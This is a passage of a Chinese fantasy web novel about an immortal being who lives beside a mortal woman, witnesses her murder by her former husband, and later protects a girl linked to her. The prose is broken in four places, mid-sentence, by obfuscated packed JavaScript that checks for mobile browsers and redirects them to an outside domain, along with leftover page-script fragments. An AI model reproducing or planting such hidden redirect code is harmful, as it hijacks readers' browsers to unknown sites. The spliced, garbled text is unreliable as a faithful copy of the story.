“哦,对,你还要等着我死,”亦照君觉得荒诞,笑道,“天底下怎么会有这种怪人怪事,你且安心等吧,我身体好得很,说不定,你会死在我前面呢。” 应空不置可否。 彼时,他还对人间的生存之艰还知之甚少,更不知道,做一个乡野之地土里刨食的人,是何等艰难。 亦照君种地的水平很一般,但对开荒很有热情,她将应空带到后山,指着一片贫瘠的碎石地:“把石头都捡走,将土翻好,我们要将这块地平出来,种菜吃。” 应空点头,对那些石头命令道:“走,到一边去。” 亦照君莫名其妙地看他:“你这是干什么?石头难不成还能听你的话,长脚自己跑啊?” 应空道:“不能?” 亦照君忍住翻白眼的冲动:“不要为了少干活就装傻子,老老实实捡石头锄地去!” 应空在烈日下捡石头,捡着捡着,忽然淡淡道:“你知道你在使唤谁,一定会很惊讶的。” 亦照君大笑,叉着腰道:“你知道你在被谁使唤,也会很惊讶的。” 这种奇怪的日子,就这样过了下去。 在亦照君的指导协助下,应空有了一间紧邻她屋舍的小房子,成了她的邻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720572|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居,外加种地的帮手。 村人依然时不时过来找找麻烦,试图赶走亦照君这个来历不明的外乡人,但应空一颗石头就能将人打翻在地,不多时已经是恶名远扬,闹事的人也就越来越少。 又过了几年,亦照君已彻底扎根于此,她这居所远离村庄,多年来相安无事,村里人也就渐渐接受了她们的存在。 别人当他们是两口子,亦照君笑眯眯接受,甚至炫耀自己运气好,找了个又俊又听话的好相公。 亦照君曾半假半真地开玩笑:“我是寡妇,你是独身,干脆真做夫妻算了……让你娶我这寡妇,你可愿意?” 应空曾跟着亦照君吃过喜酒,但对于凡人这婚丧嫁娶的仪式,他还是了解不透:“娶,究竟是什么?” 亦照君早已习惯他毫无常识的样子,耐心解释道:“娶呢,对应嫁,你娶我,我嫁给你,就是之后都做你的人,从此属于你,侍奉你,依附于你,为你付出。” 应空觉得奇怪:“那这被娶,实在不是什么好事,莫名成了附属,被人奴役,我并不想奴役你,还是罢了。” 亦照君听了,哈哈大笑,笑得打翻了茶碗:“真是个傻子。” 笑完之后,她又叹了一声,也不知回忆起什么,语气黯然道:“我才是傻子,世上多少女子都是傻子,这么吃亏的事,还愿意去做……” 亦照君是个强势豁达的女人,但时不时,也会流露出这般消沉哀愁的一面,随着她年岁渐长,这种忧愁的时候,似乎更多了。 但应空无心去探究,对于她望过来的日渐复杂的眼神,也无动于衷。 他愿意同她待在一处,只是为了等待她的死亡。 人间的几十年,并不像应空想得那样快,也不像他担心的那样慢。 他第一次直面死亡,不是亦照君,而是她捡来的一只狗。 小狗一身灰髦,浑圆可爱,喜欢粘在应空身边,围着他转个不停。 亦照君给这只狗起了个名字,叫乌云。 应空去田地里走一走,村子里转一转,或是每年除祟节,他和亦照君去镇上听戏,看除祟仪式,乌云都跟着,寸步不离。 应空不喜欢那个除祟仪式,但是亦照君喜欢,因为除了驱邪除祟的戏法把式,戏班还会演最新的折子戏,她总是看得出神,看完之后又会感叹,说那样的真情只在戏文里有,戏文之外的现实,只有数不清的背叛。 她身上想必有故事,但应空从来没问过。 转眼几年过去,小狗长成了大狗,依然活泼,爱四处疯玩,时不时自己跑去几里外的村子,转悠半晌,再踩着饭点,奔回家来。 但那一日,乌云去了一整天,都没有归家。 等应空找到乌云的时候,它正躺在路边草丛里,只剩一口气,看到他时,流血的口中发出呜呜的哀鸣声。 路过的人告诉应空,这狗是去追别人家养的鸭子玩,被主人家拿锄头打了。 乌云很想活下去,撑着一口气等来了主人,但是它伤势太重,终究还是在应空怀里咽了气。 应空捧着乌云僵硬的尸体回去,亦照君长叹一声,什么都没说,只是带着应空一起,将它埋在了后山。 眼睁睁看着乌云哀鸣死去,应空说不明白那是一种什么样的感觉,他只觉得,那好像比饥饿更磨人,甚至那赤沙荒漠里的怪老头为他剔骨时,也没有这等窒息感。 但他根本不知道该如何表露。 埋葬完乌云,回去的路上,陡然落起雨来,亦照君走在前方,突然止住脚步,转回身冲过来,紧紧抱住应空。 雨越下越大,他们立在暴雨中,任凭雨水冲刷。 应空并未回抱她。 “我为你起好了名字,”沉默许久,亦照君松开应空,后退几步,缓缓道,“新上任的里正要重录簿籍,我天天叫你傻子,总不能真录上傻子二字……” 雨水顺着她眼角的细纹晕开,她掖了掖耳边淋湿的鬓发:“在我师父的书房里,有一句偈语,是我的师祖所写,‘神照天地亦照君,天道如尘亦如空’,我的名字,便是由此而来。” 这是应空第一次在这个凡人口中听到“天道”二字,不由得心念一动。 亦照君继续道:“这两天,我读经书,又读到一句——于诸惑业及魔境,世间道中得解脱,犹如莲花不着水,亦如日月不住空。” “我终于想到,该为你起的名字。” “——亦如空。” 应空无可无不可,他不明白她对于名字的执念,亦照君说,人的名字,跟他的魂魄紧紧相连,一个对应神魂的名字,在呼喊的时候,不止叫醒躯壳,还可以叫醒灵魂,甚至将来刻在墓碑上,还关系着来世轮回。 “这是最合适你的名字,”她有些忧伤地说道,“你的心,好像是空的。” 42.秘术 亦照君第一次说起她的过往,是在一个夏日的雷雨天。 他们的所居之地,名叫坨山坪,地处大山中的平缓处,此地往后,是一片绵延幽深的群峰,密林幽谷,蛇虫毒蚁甚众,鲜少有人踏足。 那日骤雨,刺目亮光一闪,将整个山坳照得透亮,紧跟着传来轰天巨响,一道骇人的惊雷,直直劈进山谷之中。 惊雷过后,燃起山火,好在大雨瓢泼,那火焰很快被浇灭,火势未能蔓延开来。 雨停之后,亦照君和应空去山中雷击之地查看,瞧见一条体长数丈的巨蟒,已被雷电烧焦大半。 亦照君叹道:“险些就要修成气候,可惜,还是没能逃过天道法网。” 应空看着那具蛇尸,似乎略有触动。 亦照君发现,提起天道这个词,他会少见的有所反应,于是她接着说下去: “这世间,有人修,有妖族,想要逃脱寿命所限,修得长生,夺取造化,乃是违背天道,不过,天道总有疏漏,像是一道窄门,总有幸运者能够挤过去,只是这条蛇,不是那个幸运儿罢了。” 应空这些年所遇凡人,大多只关心柴米油盐,银钱收成,没有谁会讲起修行和天道,更不会如她这般头头是道。 “我在这里多年,还未碰见过修行之人。”应空道。 亦照君道:“世间修行者,毕竟是少数,能迈入此道者,不过万分之一二,略有所成者,更是少之又少,他们当然是盘桓在灵山宝地,怎么会来我们这穷乡僻壤。” 应空看向亦照君:“你从前,也是修行之人。” 亦照君在他的目光下有些不自在,她移开视线,笑了笑:“是,我来这里,是为了躲一个人……多年过去,或许,他已经放弃。” 回去的路上,亦照君谈起了自己的过往。 她出自一个魂修宗门,作为最出类拔萃的内门弟子,顺理成章地继承了宗主之位,手握宗门不传之秘——生灵胎的锻造之法。 但是,比起做一个炼魂师,她更喜专研符咒术。 “炼魂之术,逆反人道,尤其是生灵胎之术,自我师父起,便有意封存此术,再不开启,我亦从未动过习用此术的念头,直到,我遇见了一个人。” 提起此人,亦照君眼中满是恨意。 她自认她这一生做过最错的事,就是误信那个名叫花复秋的男人。 他曾是宗门里资质出众的弟子,也是最人面兽心的恶贼。偏偏这个恶贼,是她的丈夫。 “花复秋入宗门习艺,与我相识,结亲,一切所为,都只是为了骗走生灵胎的秘法,此功法,能让人快速升境,但太过凶残,一旦落在不择手段之人手中,不知要引发多少杀戮。” 亦照君闭了闭眼,继续道:“他利用我对他的信任,骗取了秘法的上部,毁去我多年修为,我历经千辛万苦逃到此地,就是为了躲过他,死守住生灵胎秘法的下部,直到把它带进棺材。” “你还存着那秘术,”应空道,“既然不愿它传世,为何不直接毁去?” 亦照君摇头:“死中有生,生中有死,生灵胎之术斩断魂魄轮回,但若是倒转过来,或许又有起死回生、再造生灵的奇效,只是历代师祖都未能专研透彻,我也参悟不透,只浅悟出些许补魂之术,我始终想着,或许能遇到一个天资卓绝,性情至善之人,将这秘法领悟透彻,由恶转善……” “可惜终究枉然,”亦照君说着,微微一叹,“花复秋心狠手辣,不择手段,手持一半秘法,绝不会死心,必然不会停下噬魂试验,却不知有多少无辜孩子的魂魄命格毁于他手。” 说起“孩子”两个字,她的神色愈加黯然。 应空听完她的讲述,沉默良久,问道:“你不想杀了他吗?” 亦照君没想到他会这般问,愣了愣,苦笑道:“如何不想,可我遭他暗算,修为尽失,落在他手上,恐怕一息之间,就会被他掐灭性命。” 应空不再说话。 此事便就此过去,只能算是一次意外的闲谈。 这日过后,一切如常,无论她是村妇亦照君,还是宗门之主亦照君,都不能改变一点—— 应空要等着她老去,死去,完成这天道的游戏,然后回到他自己的世界。 而后的岁月里,他们继续住在这避世的穷乡僻壤,种地种菜维生,除了每年除祟节去镇上听戏,连远门都未出过。 时光流逝,亦照君已年过五十,常窝在香案前读经文。 随着年华渐逝,她笑声渐少,总是向应空投来哀愁的目光。 应空读不透那种眼神,偶有一回,河边浆洗衣物,看见水中的倒影,他才有了些许感知。 河水倒映出他们的影子,倒映出亦照君花白的鬓发,满脸的皱纹,还有他依旧年轻如初的脸。 他终究不是凡人,纵然剔除了灵骨,同凡人一般,会渴,会饿,会疲累,却终归不会衰老。 亦照君恐怕早看出他不是凡人,却什么也没说,什么也没问。 只是后来,两人同去镇上时,她会小心避开认识的人,再往后,与旁人原本就微茫的联系,也都彻底断开了。 他们在一片孤岛里,毫无欲望的活着。 日子并不总是风调雨顺,这数年间,经历过大旱荒年,经历过瘟疫洪涝,生存之艰,难以言尽。 犹记得那场持续数年的大旱,连年缺雨少水,田地荒芜,草木凋零,大地一片死气。 那时,应空曾在峡谷边缘,望见天空一片赤红,太阳像是浓稠的血滴,点在天上,干涸成一粒血痂。 大地之上,凡人死亡的惨状随处可见。 在他的虚弥之境,一地一景,各成气候,西面有不落的太阳,东方有不停的雨,各色迷幻之境,或晴或雨,从不成灾。 而在人间,却是不同,原来只需分毫差错,便可酿成惨绝人寰的灾祸。 这些年他接触农垦,已知四时气候,麦收短秆,豆打长秧,田间作物不靠灵气而活,而是依赖着土壤,依赖着阳光雨水。 让它们生长成熟的,也是天道的规律么? 他见识过大旱之后,风暴到来前的奇异光亮,映照着整个峡谷,大地泛起鱼鳞一样的白。 那一刻,他几乎忘记自己的来处。 虚弥之境中,有太多凡人梦中都见不到的幻景,但在这一刻,在人间,这大旱之后将来的风暴中,他似乎看见了赐给大地生命的神光。 那是奇迹一样的风景。 亦照君的生命力很顽强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今晚她的话似乎格外多,手中也不知握着什么,放在胸口,反反复复摩挲。 “你买了什么?” 亦照君脚步一顿,没有回头。 应空拉住她,展开她手中紧握的纸包。 那是一小包砒霜。 “慢慢衰老,慢慢死掉,是很磨人的,不如痛快一些……非亲非故的,我总不可能要你来照顾我这老太婆吧?那比死可怕多了。”亦照君语气淡然,说得理所应当。 但是应空不由分说地拿走了那包毒药,不打算再还她。 “不到时候,”他说,“我已等了几十年,不介意继续等。” 亦照君试图说些什么,最后终究没有开口。 然而这夜,注定是亦照君的死期。 这条回程之路上,鲜少遇到旁人,尤其是在这样的夜里。 但今晚不一样。 看着道路前方那数名手持刀剑的修士,亦照君苦笑道:“真会赶时间……花复秋,你数十年都没有找到我,却偏偏在今日来了,我实在不知,同你算不算该死的有默契。” 43.遗言 几名修士之中,走出一个蓄着唇髭,衣着华贵的中年男人,他抬起下颌,用眼角看向亦照君,眼神犹如在看一个死人。 “我们还真是有缘,途经这小地方,竟能无意间得知你的消息,看来老天还是站在我这边,终究在你寿终正寝之前,让我找到了你。” 亦照君冷哼:“我做了大半辈子寡妇,竟然还没把你咒死,真是祸害遗千年,死王八命真大。” 花复秋并不在意她扯这几句口舌之快,只面无表情道:“你如今修为全无,老成这副鬼样子,那秘密守着还有何用?带进棺材实在可惜,不如交给我,让我用这无上秘法,让宗门无尽辉煌,如何?” 亦照君唾道:“要动手就赶紧,少说你那套令人作呕的废话。” 花复秋无所谓的笑了笑,看向亦照君身边的应空:“这是谁?难道你又有了儿子,还是孙子?我以为,从那之后,你应该再也生不出孩子了呢。” 亦照君道:“你的话实在太多了,没人告诉过你,这样很恶心吗?能不能干脆利落一些?” 花复秋眯起眼睛:“看来你确实是活够了,一代天之骄女,龟缩在此,活成了区区蝼蚁,确实不如早点死,不过,临死之前,你确定不问一问女儿的近况么?” 亦照君神色一变:“你说什么?” 花复秋佯作诧异道:“你该不会老糊涂了,连自己的孩子都忘了?十月怀胎,母女连心呐,这些年,你难道没有一刻,曾感知到她的痛苦吗?” “宜儿,不是已经……” “我骗你的,”花复秋残忍地笑起来,“宜儿并非出生时就没了呼吸,而是被你自己,亲手做成了生灵胎啊。” 亦照君捏紧拳头,身形一晃,应空撑住她的手臂,才没让她倒在地上。 “不可能,不可能……”她失魂落魄地摇头,“我从未……” 花复秋冷冷道:“怪你记性不好,难道你忘了,我重伤那回,你亲手将一婴灵制成生灵胎,准备用来为我续命……那是谁的孩子,你竟没有丝毫感知么?” 亦照君颤抖得厉害,花复秋的话语,字字句句如同刀剑,仿佛再多一句,便会叫她万箭穿心而亡。 花复秋将她的震颤看在眼中,假模假样哀叹:“可怜我的女儿,被你这恶毒的母亲亲手所害,落得永世不得投生的下场!” “是你,都是你安排好的……你重伤是假,那恰好出现的婴灵,也是你早早……” “不错,就是为了让你施展秘术,你将那术法守得太严,我只能用此计谋……可惜,生灵胎之术的复杂程度,还是超出了我的想象。” 花复秋对月长叹:“那术法举世无双,夺天造化,能让你我,让整个宗门平地飞升,偏偏因为你那点伪善道义,弃之不顾,白白浪费。” 亦照君切齿痛骂:“花复秋,你猪狗不如,你死无葬身之地。” 花复秋见她情绪失控,满意道:“老太婆,悠着点,小心一口气上不来,我还没动手,你就先死在这里了。” 亦照君努力恢复冷静:“我死也不可能将秘术交给你,死了这条心吧。” 花复秋并不意外:“我就知道,不管过多久,你都是这个德性,我也不指望你会说出来,这次来见你,主要是想告诉你一个好消息。” 他露出恶劣玩味的表情,紧盯着亦照君的反应:“我虽不知完整的秘术,但经过多年尝试,我已用那半部秘法,加上宜儿,成功炼制出其他生灵胎,虽然效用有些折扣,但也够用了,你那一半秘术,我要不要,意义已不大,只是可怜了宜儿的魂魄,要作为引子,永世受苦了。” “你……你……”面对此等六亲不认的恶贼,亦照君连辱骂他都觉得词穷,一时竟说不出话来。 花复秋微笑道:“好了,该说的也都说完了,到清算的时候了。” 他向着亦照君走近,应空想要上前一步,挡在前方,亦照君却拦住他。 花复秋有些意外:“你这毫无灵力的小子,是她什么人?劝你离远些,我宗门之事,不想牵扯外人。” 应空看着他的脸,记下他的相貌,冷声道:“我会杀了你。” 花复秋一愣,大笑起来:“这老女人身边的人,和她一样不自量力。” 说完,他抬手结印,两张阵网转瞬铺开,兜头而下,锁在应空和亦照君脚底,瞬间叫两人动弹不得。 亦照君脱力道:“杀我一个毫无还手之力的老婆子,挥挥手的事,至于用上这定身阵法吗?” “没办法,”花复秋捻着手指,“谁知道你会不会又弄出什么咒术来折腾人,你先前打在我身上的咒印,可是折磨我许多年才消。今日我不与你计较这些私怨,只是叛出宗门的三刀,你得受着,这是我长隐宗的规矩。” “你的长隐宗?”亦照君嗤道,“呸!不知廉耻。” 花复秋抹了抹脸,伸手接过身边弟子递来的长刀:“背弃宗门者,三刀见血,命由天定,这是宗门规矩,今日,便由我亲自料理。” 他走到亦照君身后,一刀斜劈,血肉横飞,将亦照君消瘦的脊背砍得几乎深可见骨。 被阵网锁住身体,亦照君连倒下都做不到,只能被固定在原地,任由花复秋慢悠悠绕到身前,生生承受他刺来的第二刀。 第二刀穿透腰腹,亦照君口吐鲜血,气息渐弱,已断无活路。 花复秋欣赏一番她的惨状,忽然叹了一口气,道:“算了,毕竟夫妻一场,最后一刀,就免了吧。” 他抽出长刀,目光看向旁边的应空,却被那双染上亦照君鲜血的眼睛所刺,一时愣神。 亦照君艰难道:“这是……你我之间的旧怨,莫要……牵连他人……” 花复秋回过神来,大笑一声,将长刀抛给弟子:“我长隐宗是名门正派,各派楷模,今日到此,只为料理宗门叛徒,怎会做出伤及无辜之事呢?” 他打量着应空,好奇自己方才为何会被这全无灵力的小子镇住。 或许,是错觉吧,只怪这晚的月色,实在是亮得骇人,凉得骇人,月光下那黑漆的眼睛,竟无端给人鬼魅般的错觉。 那接刀的弟子犹豫道:“宗主,这人看着古怪,要不一道……” 花复秋抬手,没让那弟子继续说下去。 “只是个毫无修为的普通人罢了,杀了也没什么意思,我和前宗主好歹夫妻一场,总不能叫她曝尸荒野,就留着这小子,给她修坟安葬吧。” 说完,他从怀中摸出几块碎银,扔在应空脚边,这才带着人,结阵破空而去。 阵网消散,亦照君血淋淋的躯体滑落,被应空接住。 滑腻的鲜血沾了满手,应空垂眼,看着只剩一口气的亦照君,知道她离死亡只剩一线之隔。 这天终于到来,只是他没想到,竟是鲜血淋漓的结局。 亦照君干枯的手掌勉力抬起,似乎想抓住什么。 应空接住那只手,听见她在喃喃着: “花复秋,杀……我的孩子……宜儿,解脱……” “救出你的孩子,杀了你的仇人,这两件事,我会帮你做到,算是回报你这些年的照顾。”应空的声音很轻,但语气斩钉截铁。 亦照君神色开始恍惚,也不知听没听见,残喘片刻,她忽然回光返照一般,眼中重新燃起一点亮光,定定地望着应空:“我被男人……毁了一生,本不该再……可是偏偏,偏偏……谁让我遇见……” 她挪动手腕,费力地指向自己的衣襟,那里有一封信,信封上写着亦照君绝笔,是封遗书。 亦照君确实准备在今夜结束自己的性命,只是一群不速之客,让她本该平静坦然的死亡结局,变成了痛苦和不甘缠绕的炼狱。 黯淡的眼睛望向应空,已倒映不出他的样子。 背对月光,他年轻的脸,染血的脸,如同幻梦一般失真。 这场幻梦,亦照君做了几十年,现在,该是醒来的时候了。 亦照君枯萎的嘴唇蠕动,似乎还有话想说。 应空耐心地等待,他终于等来了她的死亡,又接着等她最后的遗言。 亦照君艰难地牵动嘴角,却并非交待身后事,而是问道:“每年……除祟节……世人打邪祟的时候,你……痛不痛?” 应空眼睫一动,惊讶地看她,难言的震颤在胸口蔓延。 亦照君虚弱地等待着他的答案。 “不,”他摇了摇头,“不痛。” “那就……好……” 亦照君动了动嘴角,露出一丝微笑,眼里最后一点光亮,渐渐暗了下去。 惨白月色下,桂花的香气在浮动,掺杂进丝丝缕缕的血腥气。 “待我尸体腐烂,化成白骨,望君掘坟取骨,莫要太早,且等三年,年迈之状,已是不堪,实不愿腐败丑相,再入你眼。” 亦照君的遗书很简短,只有这样一个古怪的要求,但应空准备照办。 从那日开始,坨山坪乱坟岭,便有了闹鬼的传言。 众人都说,有个人影蹲在一座新坟上,动也不动。 白天黑夜,下雨天晴,他都在那里,从未离开。 某日,一群村童放风筝,疯玩到此,壮着胆子问那个人影:“你在做什么?” 他只是指指坟墓:“我在等她,化成白骨。” 孩童们惊叫着四散逃离。 应空守着亦照君的坟,一等三年。 这段时间对于凡人而言,很长,但对他来说,不算什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他已经太久没有露出过其他表情。 骨头上大多数符文,都是以前刻下的,唯有最后一枚,留有一个新近的日期,那是寥寥几句遗言: “此为散魂咒,我为自己种下此咒,决心从此不再入轮回,莫要为我刻碑留名。若君不在六道中,我又何苦入轮回?” 这遗言,是留给他的。 这才是她真正的遗书。 莫名的刺痛感袭来,应空蹙起眉头,不解地触碰自己的心口。 为什么? 他等待着那痛感过去,但它久久不散,刺痛变成了绵长的闷痛,让他困惑无比。 他只能不去管那闷痛之感,专心地记下骸骨上所有符文咒印,结束后,再重新将骸骨埋葬。 依照亦照君所言,没有立碑刻名。 应空重回虚弥之境赤红荒漠,再次见到那个白发老头。 人间多年过去,这地方却和他离开之时没什么两样,老头染在胡须的墨迹,似乎都还未干涸。 “事情已了,灵骨还来。” 老头上上下下打量他,看他褴褛的粗布衣衫,风霜满面的脸颊:“这一趟时间虽短,但魔君变化颇大嘛,这神色,如同换了个人一般,人间的日子,想必难过?” 应空无心与他闲话,自顾自收回神骨。 人间数十年的风霜磋磨,在他身上留下无数刻痕,但灵骨入体的瞬间,一切痕迹烟消云散,他又变回那气势无双的一境之王。 恢复法身灵能后,应空不做停留,即刻便要再入人间。 老头上前阻挡,应空一拳挥出,穿透他的身体,生生砸碎了通道的神骨禁制。 “魔君,你这是要做什么!”老头叫喊起来。 “去人间,杀人。” 老头悚然一惊,立刻幻化出那柄卷轴所化的弯刃刀。 “金蛇斩神刀,去!” 老头气势爆发,雪白须发乱舞,那卷轴所化的弯刃刀,直朝着通道巨门而去。 他想毁去巨门,斩断去往人间的通道。 应空伸手,截住那柄神刀。 他攥紧刀刃,将染着流金之血的手掌插进红沙之中,嘴唇微启,吐出一个字—— “化。” 低沉的一个字,轻飘的一个字,自他天生神祇的唇中随意吐出。 一霎之间,斩神刀在他掌中化成烟雾,脚下赤红起伏,沙砾岩石竟须臾间变成液体,竞相奔涌,化作一片无边红河。 白发老头坠入红色汪洋之中,这才意识到,应空先前依照安排行事,不是被逼无奈,只是退让罢了。 他竟能将上界神刃器魂转瞬融去,竟拥有将沙海一息间化作汪洋的夺天之能。 应空回看一眼沉进赤河中的天道幻影,转身迈入漩涡通道。 金光缀在他周围,他比天上那轮太阳更像太阳。 白发老头眯起双眼,看着他的光芒消失在涡眼中。 这人形的幻影渐渐消融在红河之中,彻底消失前,他仰天喃喃:“您,可还满意?” 44.神殿 柳玉京睁开眼,只觉周身疼痛,犹如被巨石碾压过一般。 他抚着胸口,犹疑不定。 怎么回事,鬼上身了……什么鬼竟能上他柳玉京的身? 正心念往复,听见不远处传来亦如空的声音:“又一次自讨苦吃,你若不动想要暗算于我的歪心思,何必经历这一遭?” 柳玉京意识回笼,想起失去意识前发生的事情,坐起身来,怔怔看着亦如空:“真是怪了,我先前,看见一个鬼影,凶煞无比,长得,竟跟你一模一样……” 亦如空盘膝坐着,也不看他,淡淡道:“是么?没想到我给你留下的阴影这般重,竟成了你的梦魇。” 柳玉京盯着他:“不,那明明就是……” 亦如空不想同他多说,只道:“醒了就起身吧,该上路了。” 他想要站起身来,竟身形一晃,石老儿连忙搀住他。 “没事。”亦如空自行稳住,看向刚刚被他施完术的笋儿。 当年他没想过运用那些术法咒印,只想着凭借神力任性而为,还好如今已能静下心来,参透记忆里生灵胎秘法中的补魂之术。 如今这孩子已神识完整,至少不会再是早逝的结局,也算来得及时。 纵然耗去许多灵力,也值了。 又等了片刻,笋儿悠悠醒转,缓缓撑起身来。 幽魂已逝,只剩下老妇人干枯的尸体兀自倒在地上。 笋儿看着尘土里的尸体,怔怔无语。 亦如空不知该对她说些什么,只能劝慰道:“她已寿尽许久,是那游魂占据着她的身体,凡人总会死,只能学着放下。” 石老儿跟着说:“别担心,我们可以帮你将她埋了。” 笋儿睫毛动了动,没有说话。 柳玉京掸着衣衫上的尘土,慢悠悠凑上前来:“你们真不会安慰人,还不如闭上嘴别说话。” 亦如空道:“那你来?” 柳玉京手一翻,不知从哪里摸出锭金子,递到笋儿眼前:“喏,我就没见过看见金子不眉开眼笑的女人。” 亦如空不算了解女人,但蛇妖的歪理显然甚是离谱。 石老儿却犹如听到什么新道理,盯着那锭黄金:“真的假的?” “……” 好吧,在场三个,没有一个懂女孩子的,或者说,他们连人都还不太懂。 笋儿没去接那锭金子,她抬起头,看向亦如空。 先前她看他的眼神是戒备的,警惕的,此刻却变得迷惑、探究,好像是在透过他,看向另一个人。 一个她熟悉的,依恋的人。 “为什么?你跟他……这般像……” 她低声喃喃,声音咽进喉咙里,谁都没听清。 柳玉京嘟囔着收回他被冷落的金子:“这丫头好像脑子不太好,缺根筋,不懂金银的美妙。” “你还是退下吧,”亦如空道,“替我做个打手尚可,其他的事,就不劳烦你了。” 他蹲下来,与女孩平视,问道:“你现在,多少年岁?” 笋儿看着他,半晌,开口回答:“十七。” 她的样子同亦照君没有半分相似。 凡人过经历轮回,早已不再是最初的那个人,她身上流的血,跟当年的亦照君已全然没有关系。只是,自己那一缕神魂实在用心,世世守护,成了执念,恐怕早已不在乎最初的缘起。 亦如空眸光微动,看着这刚刚失去了世间最后一个亲人的孤女。 帮她活下去,让她莫要陨落在新苗初生的年纪,这件事,就算没有过去的渊源,也做得。 好在微妙的缘法让他及时到此,终究挽住了她的命运。 亦如空心念落定,掐诀引咒,将一枚护身咒送入笋儿的眉心,若她遇到危险,此咒能护她于危难。 就当是亦照君隔世送给她的礼物吧。 做完这些,亦如空站起身来,转向柳玉京,摊开手掌。 柳玉京一愣:“干嘛?” “给我你的金子。” “凭什……”柳玉京下意识想要顶嘴,但对上亦如空不容辩驳的眉眼,又想起自己身上的咒印,不得不屈从,将几锭金子拍在他掌心。 亦如空把那些黄金都给了笋儿,又对着柳玉京道:“当是我借你的。” 柳玉京呵呵冷笑:“将我奴役在身边当牛做马,我还敢指望你还我钱?” 亦如空平静道:“这是两回事。” 柳玉京抱起手臂,转向一边。 帮着笋儿安葬好老妇人,便是离去的时候了。 跪在坟前的身影,犹如孤鸟般渺小单薄,亦如空没有多看,不对等的时间之下,同凡人所谓的缘,所谓的牵绊,惟愿少之又少。 告别后,他转身离去,女孩却转过头来,望向他的背影,凄迷的目光犹如月下竹影般飘渺,似乎想在他身上,寻觅那缕神魂的影子。 与何云迢汇合后,一路不做过多停留,直朝着神冲国境线而去。 何云迢连续赶车许久,驿站换马后,便让他去了厢内休息,由石老儿驾车。翘枝贪睡心大,大部分时间都在酣睡。 亦如空嫌车厢中憋闷,同石老儿一道坐在车辕上吹风。 蛇妖也不知跑去了何处,不过没关系,被神魂破去的咒印,已被亦如空重新补上,需要之时,他不出现也得出现。 一路顺利无阻,只是经过濮支国都城玄都之时,路遇一所被大火烧成废墟的大宅。 听往来围观之人指点议论,说是百年大族荣家遭遇横祸,许是多年来招揽修士门客,捉妖取丹,得罪了哪路妖魔,最终落得个举家葬身火海的下场。 “没想到竟这般巧合,”石老儿道,“我们先前在鬼石林遇到那荣家少爷和他的捕妖队,没想到几天过去,这荣家已落得个家毁人亡的结局……会是谁做的这事?” 亦如空看着那些焦黑的屋梁:“恐怕是招揽门客之时,识人不清,引狼入室了。” 石老儿思忖:“主人,你是说……” 亦如空递过一张折得四方的纸片,石老儿接来,展开一看,原是封墨痕已久的信。 “这信,是我在那储物锦囊之中发现的。”亦如空道。 “前辈,展信安。能解开我这锦囊封印,看到这封书信的,一定智谋修为皆是了得,在下称呼一声前辈,也是应当。如今在下遭人暗算追杀,误入诡地,即将身死,此储物袋与其中收获,可尽数赠予前辈,但有一请求,还望前辈为我做到,若前辈为守诺之人,请为我诛杀一人,此人名为徐道尘,其本是乡野恶徒,微末小人,然其心机之深,手段之狠,人憎鬼厌,我之身死,皆为其害,具体实情,有记事珠一枚为证,此人相貌,君可由记事珠得见,若君助我杀之,九泉之下,感念不尽。” 幸好多年来石老儿已习得凡人文字,他埋头读信,读完后看向亦如空:“主人,你当真要帮此人办这件事?” “受人之托,我既收了他的东西,也不好视而不见。” 石老儿点头:“那徐道尘心机深沉,看着就不是好人,主人杀了他,也算除害。” 亦如空道:“那人如今已遁逃无影,我还有自己的事要做,不能一心去寻此人下落,但愿还能遇见,让我不要白得这份馈赠。” 他话说完,见石老儿也不说话,只是扭头看着他的脸,不由得疑惑:“你看什么?” 马蹄嘚嘚,轻风拂面,石老儿看着亦如空光洁如初的脸颊,欣慰道:“主人脸上的伤口已好透了,未留下任何疤痕,甚好甚好,这若是留了疤,老儿我恐怕要后悔内疚一辈子。” 亦如空抬手一触,确实痕迹已消。 他放下手,无奈道:“原来你在意这点小事,这有何要紧,我是不想浪费灵力在这无用之处,反正也可自行愈合,否则,灵力修补,瞬间便可消去。” 石老儿道:“怎么能说不要紧,主人这张脸可不能留下创痕,更不能是我造成的创痕。” 正说着话,柳玉京不知何时冒出来的,翘着脚躺在马车顶上:“老家伙此言差矣,我看他还是毁了容的好,免得表里不一,拿这张脸去蒙骗旁人。” 石老儿黑下脸道:“主人,这蛇妖说话实在不中听,要不我……” 柳玉京打断道:“你怎么?你这老头打又打不过我,还想……” 说着,柳玉京脸色一变,后面的话全卡在了喉咙里,吐露不得。 他起身,瞪向车辕上亦如空的背影。 亦如空淡淡道:“你昏睡之时,我又给了你几个咒印,我如今对此术颇有心得,正在研究新用法,你先体验一下效果如何。” 亦照君的咒术的确精妙,他尽数记下,并且参悟透彻,还从中延伸出更多奇妙的用法。 柳玉京一阵气结,话也说不得,挖苦取乐几句的休闲也没了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 